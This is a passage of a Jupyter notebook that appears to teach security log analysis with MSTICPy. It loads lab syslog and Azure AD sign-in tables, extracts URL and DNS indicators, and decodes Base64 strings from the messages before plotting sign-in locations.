       "      <td>pam_unix(cron:session): session closed for user root</td>\n",
       "      <td>11466.0</td>\n",
       "      <td>10.0.1.7</td>\n",
       "      <td>CRON</td>\n",
       "      <td>00000000-0000-0000-0000-000000000002</td>\n",
       "      <td>Syslog</td>\n",
       "      <td>/subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...</td>\n",
       "      <td>user</td>\n",
       "      <td>user</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Linux</td>\n",
       "      <td>5/4/2021, 7:49:01.990 AM</td>\n",
       "      <td>SOC-FW-RSYSLOG</td>\n",
       "      <td>5/4/2021, 7:49:01.000 AM</td>\n",
       "      <td>authpriv</td>\n",
       "      <td>SOC-FW-RSYSLOG</td>\n",
       "      <td>info</td>\n",
       "      <td>pam_unix(cron:session): session opened for user root by (uid=0)</td>\n",
       "      <td>111364.0</td>\n",
       "      <td>10.0.1.5</td>\n",
       "      <td>CRON</td>\n",
       "      <td>00000000-0000-0000-0000-000000000002</td>\n",
       "      <td>Syslog</td>\n",
       "      <td>/subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...</td>\n",
       "      <td>user</td>\n",
       "      <td>user</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Linux</td>\n",
       "      <td>5/4/2021, 7:49:01.990 AM</td>\n",
       "      <td>SOC-FW-RSYSLOG</td>\n",
       "      <td>5/4/2021, 7:49:01.000 AM</td>\n",
       "      <td>syslog</td>\n",
       "      <td>SOC-FW-RSYSLOG</td>\n",
       "      <td>info</td>\n",
       "      <td>action 'action 2' resumed (module 'builtin:omfile') [v8.32.0 try http://www.rsyslog.com/e/2359 ]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>10.0.1.5</td>\n",
       "      <td>rsyslogd</td>\n",
       "      <td>00000000-0000-0000-0000-000000000002</td>\n",
       "      <td>Syslog</td>\n",
       "      <td>/subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...</td>\n",
       "      <td>user</td>\n",
       "      <td>user</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Linux</td>\n",
       "      <td>5/4/2021, 7:49:01.990 AM</td>\n",
       "      <td>SOC-FW-RSYSLOG</td>\n",
       "      <td>5/4/2021, 7:49:01.000 AM</td>\n",
       "      <td>syslog</td>\n",
       "      <td>SOC-FW-RSYSLOG</td>\n",
       "      <td>warn</td>\n",
       "      <td>action 'action 2' suspended (module 'builtin:omfile'), retry 0. There should be messages before ...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>10.0.1.5</td>\n",
       "      <td>rsyslogd</td>\n",
       "      <td>00000000-0000-0000-0000-000000000002</td>\n",
       "      <td>Syslog</td>\n",
       "      <td>/subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...</td>\n",
       "      <td>user</td>\n",
       "      <td>user</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d        Linux   \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d        Linux   \n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d        Linux   \n",
       "3  8ecf8077-cf51-4820-aadd-14040956f35d        Linux   \n",
       "4  8ecf8077-cf51-4820-aadd-14040956f35d        Linux   \n",
       "\n",
       "              TimeGenerated        Computer           EventTime [UTC]  \\\n",
       "0  5/4/2021, 7:48:01.990 AM      SOC-FW-CEF  5/4/2021, 7:48:01.000 AM   \n",
       "1  5/4/2021, 7:48:01.993 AM      SOC-FW-CEF  5/4/2021, 7:48:01.000 AM   \n",
       "2  5/4/2021, 7:49:01.990 AM  SOC-FW-RSYSLOG  5/4/2021, 7:49:01.000 AM   \n",
       "3  5/4/2021, 7:49:01.990 AM  SOC-FW-RSYSLOG  5/4/2021, 7:49:01.000 AM   \n",
       "4  5/4/2021, 7:49:01.990 AM  SOC-FW-RSYSLOG  5/4/2021, 7:49:01.000 AM   \n",
       "\n",
       "   Facility        HostName SeverityLevel  \\\n",
       "0  authpriv      SOC-FW-CEF          info   \n",
       "1  authpriv      SOC-FW-CEF          info   \n",
       "2  authpriv  SOC-FW-RSYSLOG          info   \n",
       "3    syslog  SOC-FW-RSYSLOG          info   \n",
       "4    syslog  SOC-FW-RSYSLOG          warn   \n",
       "\n",
       "                                                                                         SyslogMessage  \\\n",
       "0                                      pam_unix(cron:session): session opened for user root by (uid=0)   \n",
       "1                                                 pam_unix(cron:session): session closed for user root   \n",
       "2                                      pam_unix(cron:session): session opened for user root by (uid=0)   \n",
       "3     action 'action 2' resumed (module 'builtin:omfile') [v8.32.0 try http://www.rsyslog.com/e/2359 ]   \n",
       "4  action 'action 2' suspended (module 'builtin:omfile'), retry 0. There should be messages before ...   \n",
       "\n",
       "   ProcessID    HostIP ProcessName                                    MG  \\\n",
       "0    11466.0  10.0.1.7        CRON  00000000-0000-0000-0000-000000000002   \n",
       "1    11466.0  10.0.1.7        CRON  00000000-0000-0000-0000-000000000002   \n",
       "2   111364.0  10.0.1.5        CRON  00000000-0000-0000-0000-000000000002   \n",
       "3        NaN  10.0.1.5    rsyslogd  00000000-0000-0000-0000-000000000002   \n",
       "4        NaN  10.0.1.5    rsyslogd  00000000-0000-0000-0000-000000000002   \n",
       "\n",
       "     Type  \\\n",
       "0  Syslog   \n",
       "1  Syslog   \n",
       "2  Syslog   \n",
       "3  Syslog   \n",
       "4  Syslog   \n",
       "\n",
       "                                                                                           _ResourceId  \\\n",
       "0  /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...   \n",
       "1  /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...   \n",
       "2  /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...   \n",
       "3  /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...   \n",
       "4  /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...   \n",
       "\n",
       "  Source AccountName  \n",
       "0   user        user  \n",
       "1   user        user  \n",
       "2   user        user  \n",
       "3   user        user  \n",
       "4   user        user  "
      ]
     },
     "execution_count": 19,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Load syslog data\n",
    "sysdf = qry_prov.LinuxSyslog.list_all_syslog_events()\n",
    "sysdf.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "array(['http://www.rsyslog.com/e/2359', 'www.rsyslog.com',\n",
       "       'http://www.rsyslog.com/e/2007', 'http://www.rsyslog.com/e/2106',\n",
       "       'http://www.microsoft.com', 'www.microsoft.com'], dtype=object)"
      ]
     },
     "execution_count": 20,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Extract URL indicators from the SyslogMessage column and get a unique list of indicators found\n",
    "ioc_df = sysdf.mp_ioc.extract(columns=[\"SyslogMessage\"], ioc_types=[\"url\"])\n",
    "ioc_df[\"Observable\"].unique()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>Input</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>dns</td>\n",
       "      <td>www.github.com</td>\n",
       "      <td>9</td>\n",
       "      <td>&lt;decoded type='string' name='[None]' index='1' depth='1'&gt;The secret URI is www.github.com/micros...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "  IoCType      Observable  SourceIndex  \\\n",
       "0     dns  www.github.com            9   \n",
       "\n",
       "                                                                                                 Input  \n",
       "0  <decoded type='string' name='[None]' index='1' depth='1'>The secret URI is www.github.com/micros...  "
      ]
     },
     "execution_count": 21,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Decode Base64 data and extract indicators\n",
    "sys_b64_df = sysdf.mp_b64.extract(column=\"SyslogMessage\")\n",
    "# get a list of decoded strings\n",
    "sys_b64_df[\"decoded_string\"].unique()\n",
    "# Extract dns indicators from these strings (use the full_decoded_string column)\n",
    "ioc_df = sys_b64_df.mp_ioc.extract(columns=[\"full_decoded_string\"], ioc_types=[\"dns\"])\n",
    "ioc_df"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Data Visualization\n",
    "Data visaulization is a key tool in any data analyis scenario and the same is true during security analysis. MSTICPy contains a number of visualizations, below we will plot locations on a map to help identify anomolous logon locations, showing a graph of security alerts, and plotting a process tree showing process executions on a host.<br>\n",
    "\n",
    "*MSTICpy uses [Bokeh](https://bokeh.org/) and [Folium](https://python-visualization.github.io/folium/#) to power its visualization features.*\n",
    "\n",
    "The first thing we need to do is get some data to plot. Here we will use Azure AD signin events. These events include the location the login occured from allowing us to easily plot them on a map for geospacial analysis."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>NetworkLocationDetails</th>\n",
       "      <th>OriginalRequestId</th>\n",
       "      <th>ProcessingTimeInMilliseconds</th>\n",
       "      <th>RiskDetail</th>\n",
       "      <th>RiskEventTypes</th>\n",
       "      <th>RiskEventTypes_V2</th>\n",
       "      <th>RiskLevelAggregated</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>19:04.4</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>f05079ed-f820-4531-ab26-498b53af3800</td>\n",
       "      <td>366</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>[]</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>acc49186-e946-4f6c-85af-669807da0e0f</td>\n",
       "      <td>ctfuser3@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>42.997181</td>\n",
       "      <td>-86.848312</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>32:44.8</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>d5ef0f81-318f-4881-8df1-8415aab77d1a</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>121dca00-0930-40fe-9b69-bbc1e33c3500</td>\n",
       "      <td>394</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>2566a1a6-4d03-40d2-8836-6c8cf1ce517f</td>\n",
       "      <td>zvon@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>48.614380</td>\n",
       "      <td>-121.110313</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>32:44.8</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>d5ef0f81-318f-4881-8df1-8415aab77d1a</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>121dca00-0930-40fe-9b69-bbc1e33c3500</td>\n",
       "      <td>394</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>[]</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>2566a1a6-4d03-40d2-8836-6c8cf1ce517f</td>\n",
       "      <td>zvon@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>48.614380</td>\n",
       "      <td>-121.110313</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>19:04.4</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>f05079ed-f820-4531-ab26-498b53af3800</td>\n",
       "      <td>366</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>acc49186-e946-4f6c-85af-669807da0e0f</td>\n",
       "      <td>ctfuser3@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>42.997181</td>\n",
       "      <td>-86.848312</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>05:35.8</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>bf124019-b325-4a4a-81ff-6c2823461620</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>39f36cc7-ad3e-430c-bf78-bc96fbc33300</td>\n",
       "      <td>553</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>[]</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safa...</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>acc49186-e946-4f6c-85af-669807da0e0f</td>\n",
       "      <td>ctfuser3@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>41.465630</td>\n",
       "      <td>-73.610718</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 62 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem TimeGenerated  \\\n",
       "0  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       19:04.4   \n",
       "1  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       32:44.8   \n",
       "2  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       32:44.8   \n",
       "3  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       19:04.4   \n",
       "4  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       05:35.8   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "0  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "1  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "2  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "3  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "4  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName  OperationVersion    Category  ResultType ResultSignature  \\\n",
       "0  Sign-in activity                 1  SignInLogs           0            None   \n",
       "1  Sign-in activity                 1  SignInLogs           0            None   \n",
       "2  Sign-in activity                 1  SignInLogs           0            None   \n",
       "3  Sign-in activity                 1  SignInLogs           0            None   \n",
       "4  Sign-in activity                 1  SignInLogs           0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "0               NaN           0  c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380   \n",
       "1               NaN           0  d5ef0f81-318f-4881-8df1-8415aab77d1a   \n",
       "2               NaN           0  d5ef0f81-318f-4881-8df1-8415aab77d1a   \n",
       "3               NaN           0  c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380   \n",
       "4               NaN           0  bf124019-b325-4a4a-81ff-6c2823461620   \n",
       "\n",
       "           Resource     ResourceGroup  ResourceProvider  Identity  Level  \\\n",
       "0  Microsoft.aadiam  Microsoft.aadiam               NaN  CTFUser3      4   \n",
       "1  Microsoft.aadiam  Microsoft.aadiam               NaN  Zack Von      4   \n",
       "2  Microsoft.aadiam  Microsoft.aadiam               NaN  Zack Von      4   \n",
       "3  Microsoft.aadiam  Microsoft.aadiam               NaN  CTFUser3      4   \n",
       "4  Microsoft.aadiam  Microsoft.aadiam               NaN  CTFUser3      4   \n",
       "\n",
       "  Location AlternateSignInName AppDisplayName  \\\n",
       "0       US                 NaN   Azure Portal   \n",
       "1       US                 NaN   Azure Portal   \n",
       "2       US                 NaN   Azure Portal   \n",
       "3       US                 NaN   Azure Portal   \n",
       "4       US                 NaN   Azure Portal   \n",
       "\n",
       "                                  AppId AuthenticationDetails  \\\n",
       "0  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "1  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "2  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "3  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "4  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "\n",
       "   AuthenticationMethodsUsed  \\\n",
       "0                        NaN   \n",
       "1                        NaN   \n",
       "2                        NaN   \n",
       "3                        NaN   \n",
       "4                        NaN   \n",
       "\n",
       "                                                   AuthenticationProcessingDetails  \\\n",
       "0                                                                               []   \n",
       "1                                                                               []   \n",
       "2                                                                               []   \n",
       "3                                                                               []   \n",
       "4  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  }\\r\\n]   \n",
       "\n",
       "    AuthenticationRequirement  ... NetworkLocationDetails  \\\n",
       "0  singleFactorAuthentication  ...                     []   \n",
       "1                         NaN  ...                     []   \n",
       "2  singleFactorAuthentication  ...                     []   \n",
       "3                         NaN  ...                     []   \n",
       "4  singleFactorAuthentication  ...                     []   \n",
       "\n",
       "                      OriginalRequestId ProcessingTimeInMilliseconds  \\\n",
       "0  f05079ed-f820-4531-ab26-498b53af3800                          366   \n",
       "1  121dca00-0930-40fe-9b69-bbc1e33c3500                          394   \n",
       "2  121dca00-0930-40fe-9b69-bbc1e33c3500                          394   \n",
       "3  f05079ed-f820-4531-ab26-498b53af3800                          366   \n",
       "4  39f36cc7-ad3e-430c-bf78-bc96fbc33300                          553   \n",
       "\n",
       "  RiskDetail RiskEventTypes RiskEventTypes_V2  RiskLevelAggregated  \\\n",
       "0       none             []                []                 none   \n",
       "1       none             []               NaN                 none   \n",
       "2       none             []                []                 none   \n",
       "3       none             []               NaN                 none   \n",
       "4       none             []                []                 none   \n",
       "\n",
       "  RiskLevelDuringSignIn RiskState                   ResourceDisplayName  \\\n",
       "0                  none      none  Windows Azure Service Management API   \n",
       "1                  none      none  Windows Azure Service Management API   \n",
       "2                  none      none  Windows Azure Service Management API   \n",
       "3                  none      none  Windows Azure Service Management API   \n",
